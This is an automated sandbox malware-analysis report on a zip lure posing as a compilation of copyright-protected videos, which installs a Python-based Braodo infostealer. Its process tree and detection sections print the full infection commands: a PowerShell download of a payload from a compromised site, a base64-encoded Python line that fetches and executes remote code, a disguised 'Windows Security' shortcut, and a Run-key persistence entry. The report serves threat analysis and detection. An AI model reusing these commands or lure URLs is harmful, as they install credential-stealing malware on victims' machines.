Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b1

Overview

General Information

Sample URL:https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b
Analysis ID:1534680
Infos:

Detection

Python Stealer, Braodo
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Braodo
Yara detected Powershell download and execute
Yara detected Telegram RAT
Powershell drops PE file
Yara detected Generic Python Stealer
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates processes with suspicious names
Drops PE files
Found dropped PE file which has not been started or loaded
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64_ra
  • chrome.exe (PID: 6884 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 7108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=1932,i,1001838692130139836,6490394009471824799,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • chrome.exe (PID: 6676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://firebasestorage.googleapis.com/v0/b/lecongtai-bb82b.appspot.com/o/16-10%2FCompilation%20of%20copyright-protected%20videos%20and%20images.zip?alt=media&token=c97d235f-3349-47aa-b756-15ecdbdf39b1" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • svchost.exe (PID: 2076 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • rundll32.exe (PID: 3428 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)
  • Compilation of copyright-protected videos and images.exe (PID: 1660 cmdline: "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exe" MD5: 4864A55CFF27F686023456A22371E790)
    • cmd.exe (PID: 4536 cmdline: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • chcp.com (PID: 1640 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)
      • cmd.exe (PID: 6852 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • powershell.exe (PID: 68 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • cmd.exe (PID: 3008 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'qkxB9Wn8nG'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'qkxB9Wn8nG.zip'), $dst) " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • powershell.exe (PID: 2724 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • cmd.exe (PID: 3356 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindxwsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPeth = "$env:LOCALAPPDATA\qkxB9Wn8nG\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • powershell.exe (PID: 68 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • cmd.exe (PID: 4692 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo New-Itemmroperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • powershell.exe (PID: 5524 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • cmd.exe (PID: 5464 cmdline: cmd.exe /c start "" "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • synaptics.exe (PID: 1508 cmdline: "C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS93cC1jb250ZW50L2NhY2hlL3dwLXJvY2tldC9BZG9uaXMvQWRvbmlzJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))" MD5: 8AD6C16026FF6C01453D5FA392C14CB4)
    • cmd.exe (PID: 2068 cmdline: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.cmd" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 5912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • taskkill.exe (PID: 1916 cmdline: taskkill /im "Compilation of copyright-protected videos and images.exe" /f MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
    • cmd.exe (PID: 1428 cmdline: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.pdf" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • Acrobat.exe (PID: 3652 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)
        • AcroCEF.exe (PID: 4932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
          • AcroCEF.exe (PID: 3868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1588,i,11174993825772865304,14990651195406688873,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
    • cmd.exe (PID: 6424 cmdline: cmd /c taskkill /f /im Compilation of copyright-protected videos and images.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • taskkill.exe (PID: 3184 cmdline: taskkill /f /im Compilation of copyright-protected videos and images.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
    • cmd.exe (PID: 1488 cmdline: cmd /c taskkill /f /im Compilation of copyright-protected videos and images.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • taskkill.exe (PID: 1868 cmdline: taskkill /f /im Compilation of copyright-protected videos and images.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)
  • cleanup

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
dropped/ConDrvJoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
      0000002B.00000003.2070978950.000000000165E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BraodoYara detected BraodoJoe Security
        0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_GenericPythonStealerYara detected Generic Python StealerJoe Security
          0000002B.00000003.2069753866.000000000185D000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_BraodoYara detected BraodoJoe Security
            0000002B.00000002.2143160998.00000000037F0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_BraodoYara detected BraodoJoe Security
              Click to see the 1 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: PowerShell Web Download
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4536, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", ProcessId: 6852, ProcessName: cmd.exe
              Sigma detected: Usage Of Web Request Commands And Cmdlets
              Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4536, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.Path]::GetTempPath() + 'qkxB9Wn8nG.zip') ", ProcessId: 6852, ProcessName: cmd.exe
              Sigma detected: Non Interactive PowerShell Process Spawned
              Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "C:\Users\user\Downloads\Compilation of copyright-protected videos and images\photo\Compilation of copyright-protected videos and images.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4536, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 68, ProcessName: powershell.exe
              Sigma detected: Windows Processes Suspicious Parent Directory
              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2076, ProcessName: svchost.exe

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results
              Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49713 version: TLS 1.2
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficDNS traffic detected: DNS query: www.google.com
              Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
              Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49713 version: TLS 1.2

              System Summary

              barindex
              Powershell drops PE file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_Salsa20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axcontrol\axcontrol.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_keccak.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\axscript.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA256.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\_scrypt.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_ARC4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pythoncom310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\authorization.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\propsys.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\internet\internet.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA512.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmondata.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_arc2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\directsound.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_x25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cast.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ofb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2s.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed448.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aesni.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des3.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ctr.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pywintypes310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA224.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\ifilter.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32ui.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\odbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA1.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmon.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32uiole.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cfb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\mmapfile.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_chacha20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_poly1305.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2b.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_modexp.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\pythonservice.exeJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD5.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ocb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aes.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_clmul.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_portable.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ecb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ec_ws.pydJump to dropped file
